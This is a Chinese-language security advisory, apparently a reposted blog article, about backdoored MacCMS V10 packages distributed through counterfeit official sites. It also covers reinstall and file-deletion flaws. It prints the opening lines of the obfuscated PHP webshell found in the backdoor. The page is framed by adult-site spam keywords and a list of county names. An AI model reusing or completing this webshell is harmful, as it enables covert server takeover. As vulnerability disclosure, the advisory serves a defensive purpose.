中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

蘋果CMS漏洞 V10版本存在源代碼后門webshell POC

發布時間:2020-08-07 17:30:16 來源:ITPUB博客 閱讀:1113 作者:網站安全 欄目:安全技術

目前蘋果CMS官方在不斷的升級補丁,官方最新的漏洞補丁對于目前爆發的新漏洞沒有任何效果。更新補丁的用戶網站還是會遭受到掛馬的攻擊,很多客戶因此找到我們SINE安全尋求網站安全技術上的支持,針對該漏洞我們有著獨特的安全解決方案以及防止掛馬攻擊的防護,包括一些未公開的maccms POC漏洞都有修復補丁。

蘋果CMS漏洞 V10版本存在源代碼后門webshell POC

目前maccms官方被百度網址安全中心提醒您:該站點可能受到黑客攻擊,部分頁面已被非法篡改! 蘋果官方網站因為特殊原因已經停止訪問,該內容被禁止訪問,但是升級補丁更新的網址還是可以打開的。

截圖如下:

蘋果CMS漏洞 V10版本存在源代碼后門webshell POC

蘋果CMS漏洞詳情:

蘋果CMS V8 V10版本存在代碼重裝漏洞,以及代碼后門漏洞,任意文件刪除漏洞,通過CNVD-2019-43865的信息安全漏洞通報,可以確認maccms V10存在漏洞,可以偽造惡意代碼發送到網站后端進行執行,可以刪除網站目錄下的任意文件,可刪除重裝蘋果CMS系統的配置文件,導致可以重新安裝maccms系統,并在安裝過程中插入sql注入代碼到數據庫中去執行并獲取webshell以及服務器權限。

蘋果CMS漏洞 V10版本存在源代碼后門webshell POC

蘋果CMS V8 V10 源代碼存在后門漏洞,經過我們SINE安全技術的檢測發現,存在后門的原因是,目前百度搜索蘋果官網,maccms官方,排在百度搜索首頁的都是仿冒的網站,真正官網地址是www.maccms.com,包括模板,圖片,以及CSS跟真正的官方是一模一樣,很多客戶都是點擊到這個山寨網站上去進行下載的源代碼,該代碼里隱藏了木馬后門文件,阿里云都無法檢測出來,

<?php

error_reporting(E_ERROR);

@ini_set('display_errors','Off');

@ini_set('max_execution_time',20000);

@ini_set('memory_limit','256M');

header("content-Type: text/html; charset=utf-8");

$password = "21232f297a57a5a743894a0e4a801fc3"; //Viv, bebegim..

define('Viv, bebegim.','Denzel-你的英雄'); // 標題

function s(){

$str = "66756r6374696s6r20737472646972282473747229207o2072657475726r207374725s

7265706p61636528617272617928275p5p272p272s2s272p27253237272p2725323

代碼如上面所示,是加密過的,經過我們SINE安全的解密發現是PHP的腳本木馬,可以繞過各大服務器廠商的安全檢測,包括阿里云,騰訊云,百度云,華為云。

關于蘋果CMS網站漏洞的修復方案與辦法

對任意文件刪除漏洞做安全過濾與檢查,防止del刪除的語句的執行,對前端傳輸過來的參數進行嚴格的檢測,不管是get,post,cookies,如果您對代碼不是太懂的話也可以找專業的網站安全公司來處理解決蘋果CMS網站被攻擊的問題,或者是對重裝文件進行改名以及安裝配置文件進行權限設置,只讀權限,對于存在網站木馬后門的蘋果cms系統,人工對代碼進行安全審計,對所有網站目錄下每個代碼文件都要仔細的排查,可以下載官方的源代碼進行比對。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

大邑县| 额济纳旗| 太谷县| 进贤县| 东辽县| 北安市| 吴旗县| 郴州市| 太谷县| 泸溪县| 吐鲁番市| 贵港市| 卓资县| 临湘市| 和田县| 烟台市| 南昌县| 巨野县| 铜鼓县| 岑巩县| 聂荣县| 水城县| 泾阳县| 澄迈县| 都江堰市| 宜良县| 含山县| 旌德县| 唐海县| 琼结县| 永春县| 图们市| 称多县| 徐闻县| 武乡县| 嘉黎县| 海城市| 日照市| 资讯| 耒阳市| 马山县|